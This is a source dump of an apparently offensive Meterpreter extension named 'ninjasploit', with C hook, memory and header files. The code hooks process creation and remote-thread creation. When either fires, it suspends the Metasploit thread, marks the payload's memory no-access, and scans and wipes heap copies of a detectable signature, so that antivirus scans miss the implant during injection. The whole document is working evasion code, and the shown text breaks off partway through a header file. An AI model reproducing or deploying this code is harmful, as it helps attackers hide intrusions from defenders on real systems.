├── c └── meterpreter │ ├── source │ └── extensions │ │ └── ninjasploit │ │ ├── customhooks.c │ │ ├── customhooks.h │ │ ├── definitions.h │ │ ├── hook.c │ │ ├── hook.h │ │ ├── memory.c │ │ ├── memory.h │ │ ├── ninjasploit.c │ │ └── ninjasploit.h │ └── workspace │ └── ext_server_ninjasploit │ └── ext_server_ninjasploit.vcxproj └── ruby-server-side ├── command_dispatcher └── ninjasploit.rb └── extensions └── ninjasploit ├── ninjasploit.rb └── tlv.rb /c/meterpreter/source/extensions/ninjasploit/customhooks.c: -------------------------------------------------------------------------------- 1 | #include "customhooks.h" 2 | 3 | 4 | BOOL 5 | WINAPI 6 | hookCreateProcessInternalW(HANDLE hToken, 7 | LPCWSTR lpApplicationName, 8 | LPWSTR lpCommandLine, 9 | LPSECURITY_ATTRIBUTES lpProcessAttributes, 10 | LPSECURITY_ATTRIBUTES lpThreadAttributes, 11 | BOOL bInheritHandles, 12 | DWORD dwCreationFlags, 13 | LPVOID lpEnvironment, 14 | LPCWSTR lpCurrentDirectory, 15 | LPSTARTUPINFOW lpStartupInfo, 16 | LPPROCESS_INFORMATION lpProcessInformation, 17 | PHANDLE hNewToken) 18 | { 19 | BOOL res = FALSE; 20 | restoreHook(createProcessHookResult); 21 | createProcessHookResult = NULL; 22 | 23 | printf("My createProcess called\n"); 24 | 25 | LPVOID options = makeProcessOptions(hToken, lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation, hNewToken); 26 | 27 | HANDLE thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)createProcessNinja, options, 0, NULL); 28 | 29 | printf("[!] Waiting for thread to finish\n"); 30 | WaitForSingleObject(thread, INFINITE); 31 | 32 | GetExitCodeThread(thread, (LPDWORD)& res); 33 | 34 | printf("[!] Thread finished\n"); 35 | 36 | CloseHandle(thread); 37 | 38 | createProcessHookResult = installHook(CreateProcessInternalW, hookCreateProcessInternalW, 5); 39 | 40 | return res; 41 | } 42 | 43 | BOOL createProcessNinja(LPVOID options) { 44 | LPPROCESS_OPTIONS processOptions = (LPPROCESS_OPTIONS)options; 45 | 46 | printf("Thread Handle: %02lX\n", metasploitThread); 47 | 48 | 49 | if (SuspendThread(metasploitThread) != -1) { 50 | printf("[!] Suspended thread \n"); 51 | } 52 | else { 53 | printf("Couldnt suspend thread: %d\n", GetLastError()); 54 | } 55 | 56 | 57 | setPermissions(allocatedAddresses.arr, allocatedAddresses.dwSize, PAGE_NOACCESS); 58 | 59 | BOOL res = CreateProcessInternalW(processOptions->hToken, 60 | processOptions->lpApplicationName, 61 | processOptions->lpCommandLine, 62 | processOptions->lpProcessAttributes, 63 | processOptions->lpThreadAttributes, 64 | processOptions->bInheritHandles, 65 | processOptions->dwCreationFlags, 66 | processOptions->lpEnvironment, 67 | processOptions->lpCurrentDirectory, 68 | processOptions->lpStartupInfo, 69 | processOptions->lpProcessInformation, 70 | processOptions->hNewToken); 71 | 72 | Sleep(7000); 73 | 74 | if (setPermissions(allocatedAddresses.arr, allocatedAddresses.dwSize, PAGE_EXECUTE_READWRITE)) { 75 | printf("ALL OK, resuming thread\n"); 76 | 77 | ResumeThread(metasploitThread); 78 | } 79 | else { 80 | printf("[X] Coundn't revert permissions back to normal\n"); 81 | } 82 | 83 | HeapFree(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS, processOptions); 84 | return res; 85 | } 86 | 87 | 88 | NTSTATUS 89 | NTAPI 90 | hookCreateRemoteThreadEx( 91 | _Out_ PHANDLE ThreadHandle, 92 | _In_ ACCESS_MASK DesiredAccess, 93 | _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, 94 | _In_ HANDLE ProcessHandle, 95 | _In_ PVOID StartRoutine, 96 | _In_opt_ PVOID Argument, 97 | _In_ ULONG CreateFlags, 98 | _In_opt_ ULONG_PTR ZeroBits, 99 | _In_opt_ SIZE_T StackSize, 100 | _In_opt_ SIZE_T MaximumStackSize, 101 | _In_opt_ PVOID AttributeList) 102 | { 103 | printf("UPDATED VERSION\n"); 104 | restoreHook(createRemoteThreadHookResult); 105 | createRemoteThreadHookResult = NULL; 106 | 107 | printf("My createRemoteThread called\n"); 108 | printf("Process Handle %02uX\n", GetProcessId(ProcessHandle)); 109 | printf("Current Process Handle %02uX\n", GetCurrentProcessId()); 110 | 111 | NTSTATUS res = 0; 112 | 113 | if (GetProcessId(ProcessHandle) != GetCurrentProcessId()) { 114 | LPVOID options = makeThreadOptions(ThreadHandle, DesiredAccess, ObjectAttributes, ProcessHandle, StartRoutine, Argument, CreateFlags, ZeroBits, StackSize, MaximumStackSize, AttributeList); 115 | HANDLE thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)createRemoteThreadNinja, options, 0, NULL); 116 | 117 | printf("[!] Waiting for thread to finish\n"); 118 | WaitForSingleObject(thread, INFINITE); 119 | GetExitCodeThread(thread, (LPDWORD)& res); 120 | printf("[!] Thread finished\n"); 121 | 122 | CloseHandle(thread); 123 | } 124 | else { 125 | res = NtCreateThreadEx(ThreadHandle, DesiredAccess, ObjectAttributes, ProcessHandle, StartRoutine, Argument, CreateFlags, ZeroBits, StackSize, MaximumStackSize, AttributeList); 126 | } 127 | 128 | createRemoteThreadHookResult = installHook(NtCreateThreadEx, hookCreateRemoteThreadEx, 5); 129 | printf("[!] Result is: %02lX\n", res); 130 | return res; 131 | } 132 | 133 | /* 134 | NTSTATUS hookCreateRemoteThreadEx2(LPVOID options) { 135 | 136 | 137 | printf("Here I am!!\n"); 138 | LPTHREAD_OPTIONS threadOptions = (LPTHREAD_OPTIONS)options; 139 | 140 | if (SuspendThread(metasploitThread) != -1) { 141 | printf("[!] Suspended thread \n"); 142 | } 143 | else { 144 | printf("Couldnt suspend thread: %d\n", GetLastError()); 145 | } 146 | 147 | 148 | SIGNATURE sig; 149 | sig.signature = (LPBYTE)detectableSignature; 150 | sig.sigSize = 20; 151 | 152 | PROCESS_HEAP_ENTRY heapEntry; 153 | 154 | SecureZeroMemory(&heapEntry, sizeof(PROCESS_HEAP_ENTRY)); 155 | 156 | HANDLE heap = GetProcessHeap(); 157 | 158 | PATTERN_RESULT patternRes = { 0 }; 159 | patternRes.sigs = malloc(sizeof(SIZE_T) * 10); 160 | 161 | DWORD oldDummy; 162 | 163 | VirtualProtect(detectableSignature, 20, PAGE_READWRITE, &oldDummy); 164 | 165 | printf("first sig byte: %X\n", detectableSignature[0]); 166 | printf("UPDATED V1.0\n"); 167 | 168 | heapEntry.lpData = NULL; 169 | HeapLock(heap); 170 | while (HeapWalk(heap, &heapEntry)) { 171 | if ((heapEntry.wFlags & PROCESS_HEAP_ENTRY_BUSY) && heapEntry.cbData > 0) { 172 | patternScanEx((SIZE_T)heapEntry.lpData, heapEntry.cbData, "xxxxxxxxxxxxxxxxxxxx", &sig, &patternRes, 10); 173 | if (patternRes.size > 0) { 174 | SecureZeroMemory(heapEntry.lpData, heapEntry.cbData); 175 | printf("Flags of heap entry: %X, index: %X\n", heapEntry.wFlags, heapEntry.iRegionIndex); 176 | } 177 | } 178 | } 179 | HeapUnlock(heap); 180 | printf("Heap walk finished with: %X\n", GetLastError()); 181 | 182 | 183 | 184 | printf("Cleaned haep\n"); 185 | printf("first sig byte: %X\n", detectableSignature[0]); 186 | setPermissions(allocatedAddresses.arr, allocatedAddresses.dwSize, PAGE_NOACCESS); 187 | 188 | searchWholeThing(&sig); 189 | 190 | if (!VirtualProtect(detectableSignature, 0x1000, PAGE_NOACCESS, &oldDummy)) { 191 | printf("[HEEEREEEEE] Couldn't hide signature\n"); 192 | } 193 | 194 | 195 | HANDLE elevatedHandle = NULL; 196 | 197 | if (!DuplicateHandle(GetCurrentProcess(), threadOptions->ProcessHandle, GetCurrentProcess(), &elevatedHandle, PROCESS_ALL_ACCESS, FALSE, NULL)) { 198 | printf("[FAILED] Couldn't duplicate HANDLE, %d", GetLastError()); 199 | } 200 | 201 | MEMORY_BASIC_INFORMATION info = { 0 }; 202 | 203 | if (!VirtualQueryEx(threadOptions->ProcessHandle, threadOptions->StartRoutine, &info, sizeof(MEMORY_BASIC_INFORMATION))) { 204 | 205 | printf("VirtualQueryEx FAILED \n"); 206 | } 207 | 208 | 209 | printf("BaseAddress -> %02X\n", (DWORD)info.BaseAddress); 210 | printf("AllocationBase -> %02X\n", (DWORD)info.AllocationBase); 211 | printf("AllocationProtect -> %02X\n", (DWORD)info.AllocationProtect); 212 | printf("RegionSize -> %02X\n", (DWORD)info.RegionSize); 213 | printf("State -> %02X\n", (DWORD)info.State); 214 | printf("Protect -> %02X\n", (DWORD)info.Protect); 215 | printf("Type -> %02X\n", (DWORD)info.Type); 216 | 217 | DWORD bytesRead; 218 | DWORD bytesWrote; 219 | 220 | DWORD dummy2; 221 | 222 | if (!VirtualProtectEx(elevatedHandle, info.AllocationBase, info.RegionSize, PAGE_NOACCESS, &dummy2)) { 223 | printf("[HEEEREEEEE] Couldn't hide signature\n"); 224 | printf("Couldn't change permissions of target process, %d\n", GetLastError()); 225 | } 226 | 227 | printf("Before NtCreateThreadEx\n"); 228 | 229 | NTSTATUS res = NtCreateThreadEx(threadOptions->ThreadHandle, 230 | threadOptions->DesiredAccess, 231 | threadOptions->ObjectAttributes, 232 | threadOptions->ProcessHandle, 233 | threadOptions->StartRoutine, 234 | threadOptions->Argument, 235 | threadOptions->CreateFlags | CREATE_SUSPENDED, 236 | threadOptions->ZeroBits, 237 | threadOptions->StackSize, 238 | threadOptions->MaximumStackSize, 239 | threadOptions->AttributeList); 240 | 241 | printf("[!] Made a call to NtCreateThreadEx, sleeping for another 5 sec\n"); 242 | 243 | Sleep(8000); 244 | 245 | DWORD dummy3; 246 | 247 | if (!VirtualProtectEx(elevatedHandle, info.AllocationBase, info.RegionSize, dummy2, &dummy3)) { 248 | printf("Couldn't change permissions of target process, %d\n", GetLastError()); 249 | } 250 | 251 | if (!(threadOptions->CreateFlags & CREATE_SUSPENDED)) { 252 | printf("Resuming remote thread!!\n"); 253 | ResumeThread(threadOptions->ThreadHandle); 254 | } 255 | 256 | printf("OK didnt get caught exiting\n"); 257 | 258 | if (setPermissions(allocatedAddresses.arr, allocatedAddresses.dwSize, PAGE_EXECUTE_READWRITE)) { 259 | printf("ALL OK, resuming thread\n"); 260 | 261 | if (ResumeThread(metasploitThread) != -1) { 262 | printf("[!] Thread resumed\n"); 263 | } 264 | else { 265 | printf("[!] Thread couldn't resume %d\n", GetLastError()); 266 | } 267 | } 268 | 269 | HeapFree(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS, threadOptions); 270 | 271 | if (elevatedHandle != NULL) { 272 | CloseHandle(elevatedHandle); 273 | } 274 | 275 | return res; 276 | }*/ 277 | 278 | 279 | NTSTATUS createRemoteThreadNinja(LPVOID options) { 280 | LPTHREAD_OPTIONS threadOptions = (LPTHREAD_OPTIONS)options; 281 | 282 | printf("Thread Handle: %02lX\n", metasploitThread); 283 | // printf("Here I am!!\n"); 284 | 285 | 286 | if (SuspendThread(metasploitThread) != -1) { 287 | printf("[!] Suspended thread \n"); 288 | } 289 | else { 290 | printf("Couldnt suspend thread: %d\n", GetLastError()); 291 | } 292 | 293 | DWORD oldDummy; 294 | 295 | VirtualProtect(detectableSignature, 0x1000, PAGE_READWRITE, &oldDummy); 296 | 297 | SIGNATURE sig; 298 | sig.signature = (LPBYTE)detectableSignature; 299 | sig.sigSize = 20; 300 | 301 | 302 | 303 | PATTERN_RESULT patternRes = { 0 }; 304 | patternRes.sigs = malloc(sizeof(SIZE_T) * 10); 305 | 306 | PHANDLE heapBuff = malloc(sizeof(HANDLE) * 10); 307 | 308 | DWORD heapNum = GetProcessHeaps(10, heapBuff); 309 | 310 | for (DWORD heapIndex = 0; heapIndex < heapNum; heapIndex++) { 311 | printf("Iterating %d, heap\n", heapIndex); 312 | HANDLE heap = heapBuff[heapIndex]; 313 | 314 | // HeapLock(heap); 315 | 316 | PROCESS_HEAP_ENTRY heapEntry; 317 | 318 | SecureZeroMemory(&heapEntry, sizeof(PROCESS_HEAP_ENTRY)); 319 | 320 | heapEntry.lpData = NULL; 321 | 322 | while (HeapWalk(heap, &heapEntry)) { 323 | if ((heapEntry.wFlags & PROCESS_HEAP_ENTRY_BUSY) && heapEntry.cbData > 0) { 324 | patternScanEx((SIZE_T)heapEntry.lpData, heapEntry.cbData, "xxxxxxxxxxxxxxxxxxxx", &sig, &patternRes, 10); 325 | if (patternRes.size > 0) { 326 | SecureZeroMemory(heapEntry.lpData, heapEntry.cbData); 327 | printf("Flags of heap entry: %X, index: %X\n", heapEntry.wFlags, heapEntry.iRegionIndex); 328 | } 329 | } 330 | } 331 | 332 | // HeapUnlock(heap); 333 | } 334 | 335 | free(heapBuff); 336 | 337 | setPermissions(allocatedAddresses.arr, allocatedAddresses.dwSize, PAGE_NOACCESS); 338 | 339 | searchWholeThing(&sig); 340 | 341 | if (!VirtualProtect(detectableSignature, 0x1000, PAGE_NOACCESS, &oldDummy)) { 342 | printf("[X] virtual protected sig failed %d\n", GetLastError()); 343 | } 344 | 345 | printMemoryInfo(detectableSignature); 346 | 347 | // ARRAY heapArr = { 0 }; 348 | 349 | // cleanHeap(&heapArr); 350 | 351 | 352 | 353 | // printf("Cleaned the heap\n"); 354 | 355 | HANDLE elevatedHandle = NULL; 356 | 357 | if (!DuplicateHandle(GetCurrentProcess(), threadOptions->ProcessHandle, GetCurrentProcess(), &elevatedHandle, PROCESS_ALL_ACCESS, FALSE, 0)) { 358 | printf("[FAILED] Couldn't duplicate HANDLE, %d", GetLastError()); 359 | } 360 | 361 | MEMORY_BASIC_INFORMATION info = { 0 }; 362 | 363 | 364 | if (!VirtualQueryEx(elevatedHandle, threadOptions->StartRoutine, &info, sizeof(MEMORY_BASIC_INFORMATION))) { 365 | printf("VirtualQueryEx FAILED \n"); 366 | } 367 | 368 | printf("BaseAddress -> %02X\n", (DWORD)info.BaseAddress); 369 | printf("AllocationBase -> %02X\n", (DWORD)info.AllocationBase); 370 | printf("AllocationProtect -> %02X\n", (DWORD)info.AllocationProtect); 371 | printf("RegionSize -> %02X\n", (DWORD)info.RegionSize); 372 | printf("State -> %02X\n", (DWORD)info.State); 373 | printf("Protect -> %02X\n", (DWORD)info.Protect); 374 | printf("Type -> %02X\n", (DWORD)info.Type); 375 | 376 | BOOL memPrivate = info.Type == MEM_PRIVATE; 377 | 378 | DWORD oldProtect, dummy; 379 | 380 | LPVOID buffer = calloc(1, info.RegionSize); 381 | 382 | LPVOID copyBuff = VirtualAlloc(NULL, info.RegionSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); 383 | 384 | DWORD bytesWritten; 385 | DWORD bytesRead; 386 | 387 | 388 | if (memPrivate) { 389 | printf("MEM_PRIVATE found!\n"); 390 | /* 391 | if (!VirtualProtectEx(elevatedHandle, (LPVOID)info.AllocationBase, info.RegionSize, PAGE_EXECUTE_READWRITE, &oldProtect)) { 392 | printf("First protect failed %d\n", GetLastError()); 393 | } 394 | else { 395 | printf("First protect succed\n"); 396 | } 397 | 398 | if (!ReadProcessMemory(elevatedHandle, (LPVOID)info.AllocationBase, copyBuff, info.RegionSize, &bytesRead) || bytesRead != info.RegionSize) { 399 | printf("ReadProcessMemory failed %d\n", GetLastError()); 400 | } 401 | else { 402 | printf("ReadProcess success\n"); 403 | } 404 | 405 | if (!WriteProcessMemory(elevatedHandle, (LPVOID)info.AllocationBase, buffer, info.RegionSize, &bytesWritten) || bytesWritten != bytesRead) { // write 0's 406 | printf("Write Proceess failed, %d\n", GetLastError()); 407 | printf("bytes read: 0x%X, bytes written: 0x%X\n", bytesRead, bytesWritten); 408 | } 409 | else { 410 | printf("Write process succeed, wrote: 0x%X bytes\n", bytesWritten); 411 | } 412 | 413 | 414 | if (!VirtualProtectEx(elevatedHandle, info.AllocationBase, info.RegionSize, oldProtect, &dummy)) { 415 | printf("second protect failed %d\n", GetLastError()); 416 | } 417 | else { 418 | printf("second protect succedd\n"); 419 | } 420 | 421 | if (!VirtualProtect(copyBuff, info.RegionSize, PAGE_NOACCESS, &dummy)) { 422 | printf("Third protect failed %d\n", GetLastError()); 423 | } 424 | else { 425 | printf("PAGE_NOACESS on copybuff!\n"); 426 | 427 | MEMORY_BASIC_INFORMATION info2 = { 0 }; 428 | 429 | if (!VirtualQuery(copyBuff, &info2, sizeof(MEMORY_BASIC_INFORMATION))) { 430 | printf("VirtualQueryEx FAILED \n"); 431 | } 432 | 433 | printf("BaseAddress -> %02X\n", (DWORD)info2.BaseAddress); 434 | printf("AllocationBase -> %02X\n", (DWORD)info2.AllocationBase); 435 | printf("AllocationProtect -> %02X\n", (DWORD)info2.AllocationProtect); 436 | printf("RegionSize -> %02X\n", (DWORD)info2.RegionSize); 437 | printf("State -> %02X\n", (DWORD)info2.State); 438 | printf("Protect -> %02X\n", (DWORD)info2.Protect); 439 | printf("Type -> %02X\n", (DWORD)info2.Type); 440 | }*/ 441 | if (!VirtualProtectEx(elevatedHandle, (LPVOID)info.AllocationBase, info.RegionSize, PAGE_NOACCESS, &oldProtect)) { 442 | printf("First protect failed %d\n", GetLastError()); 443 | } 444 | } 445 | 446 | free(buffer); 447 | 448 | printf("Before NtCreateThreadEx\n"); 449 | 450 | Sleep(3000); 451 | 452 | NTSTATUS res = NtCreateThreadEx(threadOptions->ThreadHandle, 453 | threadOptions->DesiredAccess, 454 | threadOptions->ObjectAttributes, 455 | threadOptions->ProcessHandle, 456 | threadOptions->StartRoutine, 457 | threadOptions->Argument, 458 | threadOptions->CreateFlags | CREATE_SUSPENDED, 459 | threadOptions->ZeroBits, 460 | threadOptions->StackSize, 461 | threadOptions->MaximumStackSize, 462 | threadOptions->AttributeList); 463 | 464 | printf("Made call to NtCreateThreadEx\n"); 465 | 466 | Sleep(4000); 467 | 468 | printf("Restoring remote thread!\n"); 469 | 470 | if (memPrivate) { 471 | /* 472 | if (!VirtualProtect(copyBuff, info.RegionSize, PAGE_READWRITE, &dummy)) { 473 | printf("Restore first protect failed %d\n", GetLastError()); 474 | } 475 | 476 | DWORD bytesWritten2; 477 | 478 | if (!WriteProcessMemory(elevatedHandle, info.AllocationBase, copyBuff, info.RegionSize, &bytesWritten2) || bytesWritten2 != info.RegionSize) { 479 | printf("Restore first write process memory failed: %d\n", GetLastError()); 480 | } 481 | 482 | ZeroMemory(copyBuff, info.RegionSize); 483 | if (!VirtualProtect(copyBuff, info.RegionSize, PAGE_NOACCESS, &dummy)) { 484 | printf("Restore second protect failed %d\n", GetLastError()); 485 | }*/ 486 | if (!VirtualProtectEx(elevatedHandle, (LPVOID)info.AllocationBase, info.RegionSize, PAGE_EXECUTE_READWRITE, &oldProtect)) { 487 | printf("First protect failed %d\n", GetLastError()); 488 | } 489 | printf("OK restored mem\n"); 490 | } 491 | 492 | VirtualFree(copyBuff, info.RegionSize, MEM_RELEASE); 493 | 494 | if (!(threadOptions->CreateFlags & CREATE_SUSPENDED)) { 495 | printf("Resuming remote thread!!\n"); 496 | ResumeThread(threadOptions->ThreadHandle); 497 | } 498 | 499 | // restoreHeap(&heapArr); 500 | 501 | if (elevatedHandle != NULL) { 502 | CloseHandle(elevatedHandle); 503 | } 504 | 505 | if (setPermissions(allocatedAddresses.arr, allocatedAddresses.dwSize, PAGE_EXECUTE_READWRITE)) { 506 | printf("ALL OK, resuming thread\n"); 507 | 508 | if (ResumeThread(metasploitThread) != -1) { 509 | printf("[!] Thread resumed\n"); 510 | } 511 | else { 512 | printf("[!] Thread couldn't resume %d\n", GetLastError()); 513 | } 514 | } 515 | else { 516 | printf("[X] Coundn't revert permissions back to normal\n"); 517 | } 518 | 519 | HeapFree(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS, threadOptions); 520 | 521 | return res; 522 | } 523 | 524 | 525 | LPPROCESS_OPTIONS makeProcessOptions( 526 | HANDLE hToken, 527 | LPCWSTR lpApplicationName, 528 | LPWSTR lpCommandLine, 529 | LPSECURITY_ATTRIBUTES lpProcessAttributes, 530 | LPSECURITY_ATTRIBUTES lpThreadAttributes, 531 | BOOL bInheritHandles, 532 | DWORD dwCreationFlags, 533 | LPVOID lpEnvironment, 534 | LPCWSTR lpCurrentDirectory, 535 | LPSTARTUPINFOW lpStartupInfo, 536 | LPPROCESS_INFORMATION lpProcessInformation, 537 | PHANDLE hNewToken 538 | ) 539 | { 540 | LPPROCESS_OPTIONS options = (LPPROCESS_OPTIONS)HeapAlloc(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS, sizeof(PROCESS_OPTIONS)); 541 | 542 | options->hToken = hToken; 543 | options->lpApplicationName = lpApplicationName; 544 | options->lpCommandLine = lpCommandLine; 545 | options->lpProcessAttributes = lpProcessAttributes; 546 | options->lpThreadAttributes = lpThreadAttributes; 547 | options->bInheritHandles = bInheritHandles; 548 | options->dwCreationFlags = dwCreationFlags; 549 | options->lpEnvironment = lpEnvironment; 550 | options->lpCurrentDirectory = lpCurrentDirectory; 551 | options->lpStartupInfo = lpStartupInfo; 552 | options->lpProcessInformation = lpProcessInformation; 553 | options->hNewToken = hNewToken; 554 | 555 | return options; 556 | } 557 | 558 | 559 | LPTHREAD_OPTIONS makeThreadOptions( 560 | _Out_ PHANDLE ThreadHandle, 561 | _In_ ACCESS_MASK DesiredAccess, 562 | _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, 563 | _In_ HANDLE ProcessHandle, 564 | _In_ PVOID StartRoutine, 565 | _In_opt_ PVOID Argument, 566 | _In_ ULONG CreateFlags, 567 | _In_opt_ ULONG_PTR ZeroBits, 568 | _In_opt_ SIZE_T StackSize, 569 | _In_opt_ SIZE_T MaximumStackSize, 570 | _In_opt_ PVOID AttributeList 571 | ) 572 | { 573 | LPTHREAD_OPTIONS options = (LPTHREAD_OPTIONS)HeapAlloc(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS, sizeof(THREAD_OPTIONS)); 574 | 575 | options->ThreadHandle = ThreadHandle; 576 | options->DesiredAccess = DesiredAccess; 577 | options->ObjectAttributes = ObjectAttributes; 578 | options->ProcessHandle = ProcessHandle; 579 | options->StartRoutine = StartRoutine; 580 | options->Argument = Argument; 581 | options->CreateFlags = CreateFlags; 582 | options->ZeroBits = ZeroBits; 583 | options->StackSize = StackSize; 584 | options->MaximumStackSize = MaximumStackSize; 585 | options->AttributeList = AttributeList; 586 | return options; 587 | } -------------------------------------------------------------------------------- /c/meterpreter/source/extensions/ninjasploit/customhooks.h: -------------------------------------------------------------------------------- 1 | #ifndef _METERPRETER_SOURCE_EXTENSION_NINJASPLOIT_CUSTOMHOOKS_H 2 | #define _METERPRETER_SOURCE_EXTENSION_NINJASPLOIT_CUSTOMHOOKS_H 3 | 4 | #include "../../common/common.h" 5 | #include "definitions.h" 6 | #include "hook.h" 7 | #include "memory.h" 8 | 9 | LPPROCESS_OPTIONS makeProcessOptions( 10 | HANDLE hToken, 11 | LPCWSTR lpApplicationName, 12 | LPWSTR lpCommandLine, 13 | LPSECURITY_ATTRIBUTES lpProcessAttributes, 14 | LPSECURITY_ATTRIBUTES lpThreadAttributes, 15 | BOOL bInheritHandles, 16 | DWORD dwCreationFlags, 17 | LPVOID lpEnvironment, 18 | LPCWSTR lpCurrentDirectory, 19 | LPSTARTUPINFOW lpStartupInfo, 20 | LPPROCESS_INFORMATION lpProcessInformation, 21 | PHANDLE hNewToken 22 | ); 23 | 24 | LPTHREAD_OPTIONS makeThreadOptions( 25 | _Out_ PHANDLE ThreadHandle, 26 | _In_ ACCESS_MASK DesiredAccess, 27 | _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, 28 | _In_ HANDLE ProcessHandle, 29 | _In_ PVOID StartRoutine, 30 | _In_opt_ PVOID Argument, 31 | _In_ ULONG CreateFlags, 32 | _In_opt_ ULONG_PTR ZeroBits, 33 | _In_opt_ SIZE_T StackSize, 34 | _In_opt_ SIZE_T MaximumStackSize, 35 | _In_opt_ PVOID AttributeList 36 | ); 37 | 38 | BOOL 39 | WINAPI 40 | hookCreateProcessInternalW( 41 | HANDLE hToken, 42 | LPCWSTR lpApplicationName, 43 | LPWSTR lpCommandLine, 44 | LPSECURITY_ATTRIBUTES lpProcessAttributes, 45 | LPSECURITY_ATTRIBUTES lpThreadAttributes, 46 | BOOL bInheritHandles, 47 | DWORD dwCreationFlags, 48 | LPVOID lpEnvironment, 49 | LPCWSTR lpCurrentDirectory, 50 | LPSTARTUPINFOW lpStartupInfo, 51 | LPPROCESS_INFORMATION lpProcessInformation, 52 | PHANDLE hNewToken 53 | ); 54 | 55 | NTSTATUS 56 | NTAPI 57 | hookCreateRemoteThreadEx( 58 | _Out_ PHANDLE ThreadHandle, 59 | _In_ ACCESS_MASK DesiredAccess, 60 | _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, 61 | _In_ HANDLE ProcessHandle, 62 | _In_ PVOID StartRoutine, 63 | _In_opt_ PVOID Argument, 64 | _In_ ULONG CreateFlags, 65 | _In_opt_ ULONG_PTR ZeroBits, 66 | _In_opt_ SIZE_T StackSize, 67 | _In_opt_ SIZE_T MaximumStackSize, 68 | _In_opt_ PVOID AttributeList 69 | ); 70 | 71 | BOOL createProcessNinja(LPVOID options); 72 | NTSTATUS createRemoteThreadNinja(LPVOID options); 73 | 74 | NTSTATUS hookCreateRemoteThreadEx2(LPVOID options); 75 | 76 | LPHOOK_RESULT createProcessHookResult; 77 | LPHOOK_RESULT createRemoteThreadHookResult; 78 | 79 | HANDLE metasploitThread; 80 | 81 | ALLOCATED_ADDRESSES_RESULT allocatedAddresses; 82 | #endif -------------------------------------------------------------------------------- /c/meterpreter/source/extensions/ninjasploit/definitions.h: -------------------------------------------------------------------------------- 1 | #ifndef _METERPRETER_SOURCE_EXTENSION_NINJASPLOIT_DEFINITIONS_H 2 | #define _METERPRETER_SOURCE_EXTENSION_NINJASPLOIT_DEFINITIONS_H 3 | 4 | // #include "../../common/common.h" 5 | #include 6 | typedef struct _UNICODE_STRING { 7 | USHORT Length; 8 | USHORT MaximumLength; 9 | PWSTR Buffer; 10 | } UNICODE_STRING; 11 | typedef UNICODE_STRING *PUNICODE_STRING; 12 | 13 | typedef struct _OBJECT_ATTRIBUTES { 14 | ULONG Length; 15 | HANDLE RootDirectory; 16 | PUNICODE_STRING ObjectName; 17 | ULONG Attributes; 18 | PVOID SecurityDescriptor; 19 | PVOID SecurityQualityOfService; 20 | } OBJECT_ATTRIBUTES; 21 | typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES; 22 | 23 | typedef 24 | BOOL(WINAPI* PCreateProcessInternalW)( 25 | HANDLE hToken, 26 | LPCWSTR lpApplicationName, 27 | LPWSTR lpCommandLine, 28 | LPSECURITY_ATTRIBUTES lpProcessAttributes, 29 | LPSECURITY_ATTRIBUTES lpThreadAttributes, 30 | BOOL bInheritHandles, 31 | DWORD dwCreationFlags, 32 | LPVOID lpEnvironment, 33 | LPCWSTR lpCurrentDirectory, 34 | LPSTARTUPINFOW lpStartupInfo, 35 | LPPROCESS_INFORMATION lpProcessInformation, 36 | PHANDLE hNewToken 37 | ); 38 | 39 | typedef 40 | NTSYSCALLAPI 41 | NTSTATUS 42 | (NTAPI* PNtCreateThreadEx)( 43 | _Out_ PHANDLE ThreadHandle, 44 | _In_ ACCESS_MASK DesiredAccess, 45 | _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, 46 | _In_ HANDLE ProcessHandle, 47 | _In_ PVOID StartRoutine, 48 | _In_opt_ PVOID Argument, 49 | _In_ ULONG CreateFlags, 50 | _In_opt_ ULONG_PTR ZeroBits, 51 | _In_opt_ SIZE_T StackSize, 52 | _In_opt_ SIZE_T MaximumStackSize, 53 | _In_opt_ PVOID AttributeList 54 | ); 55 | 56 | 57 | typedef struct { 58 | PHANDLE ThreadHandle; 59 | ACCESS_MASK DesiredAccess; 60 | POBJECT_ATTRIBUTES ObjectAttributes; 61 | HANDLE ProcessHandle; 62 | PVOID StartRoutine; 63 | PVOID Argument; 64 | ULONG CreateFlags; 65 | ULONG_PTR ZeroBits; 66 | SIZE_T StackSize; 67 | SIZE_T MaximumStackSize; 68 | PVOID AttributeList; 69 | HANDLE currentThread; 70 | }THREAD_OPTIONS, *PTHREAD_OPTIONS, *LPTHREAD_OPTIONS; 71 | 72 | typedef struct { 73 | HANDLE hToken; 74 | LPCWSTR lpApplicationName; 75 | LPWSTR lpCommandLine; 76 | LPSECURITY_ATTRIBUTES lpProcessAttributes; 77 | LPSECURITY_ATTRIBUTES lpThreadAttributes; 78 | BOOL bInheritHandles; 79 | DWORD dwCreationFlags; 80 | LPVOID lpEnvironment; 81 | LPCWSTR lpCurrentDirectory; 82 | LPSTARTUPINFOW lpStartupInfo; 83 | LPPROCESS_INFORMATION lpProcessInformation; 84 | PHANDLE hNewToken; 85 | } PROCESS_OPTIONS, *LPPROCESS_OPTIONS; 86 | 87 | PCreateProcessInternalW CreateProcessInternalW; 88 | PNtCreateThreadEx NtCreateThreadEx; 89 | 90 | typedef struct { 91 | LPVOID lpData; 92 | LPVOID lpDataAddr; 93 | SIZE_T size; 94 | }HEAP_INFO, *LPHEAP_INFO, PHEAP_INFO; 95 | 96 | typedef struct { 97 | LPVOID arr; 98 | SIZE_T size; 99 | }ARRAY, *LPARRAY, *PARRAY; 100 | 101 | 102 | PBYTE detectableSignature; 103 | 104 | #endif 105 | /* 106 | #ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN 107 | 108 | 109 | // you must implement this function... 110 | extern DWORD __declspec(dllexport) Init(SOCKET socket); 111 | 112 | #define EXITFUNC_SEH 0xEA320EFE 113 | #define EXITFUNC_THREAD 